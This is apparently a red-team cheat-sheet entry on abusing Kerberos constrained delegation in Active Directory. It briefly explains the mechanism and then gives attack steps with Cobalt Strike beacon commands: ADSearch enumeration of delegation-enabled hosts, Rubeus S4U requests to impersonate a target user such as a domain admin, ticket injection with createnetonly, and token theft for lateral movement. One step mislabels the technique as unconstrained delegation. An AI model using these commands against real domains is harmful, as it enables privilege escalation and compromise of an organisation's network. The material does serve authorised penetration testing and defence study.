A (service/machine) account permitted for constrained delegation can authenticate on other user’s behalf against one or few selected services. Instead of caching the client’s TGT like unconstrained delegation, the account is allowed to obtain a TGS for the client with its own TGT. If the account is compromised, then the attacker can authenticate against permitted services as any user (e.g. a domain admin).

Exploit

Related: Rubeus, exploiting constrained delegation via Mimikatz

To attack:

  • Find an account permitted for unconstrained delegation.
  • Compromise that account, or otherwise obtain an TGT of that account (e.g. dump a cached one or request one with password hash using Rubeus)
  • Perform an S4U request to obtain an TGS for the target service as the target client user.

To find accounts permitted for constrained delegation:

beacon> execute-assembly C:\Tools\ADSearch\ADSearch\bin\Release\ADSearch.exe --search "(&(objectCategory=computer)(msds-allowedtodelegateto=*))" --attributes dnshostname,samaccountname,msds-allowedtodelegateto --json

Perform an S4U request, first to authenticate against the compromised service itself as the client (target user), then to authenticate against the target service.

beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe s4u /impersonateuser:[target-user] /msdsspn:[target-spn] /user:[user-allowed-to-delegate] /ticket:[user-allowed-to-delegate-tgt-base64] /nowrap

To make use of the ticket (acquired in S4U2Proxy), first create a process (record PID):

beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /domain:[domain] /username:[target-user] /password:[does-not-matter] /ticket:[tgs-base64]

Then we can move laterally by stealing the process’s token:

beacon> steal_token 5540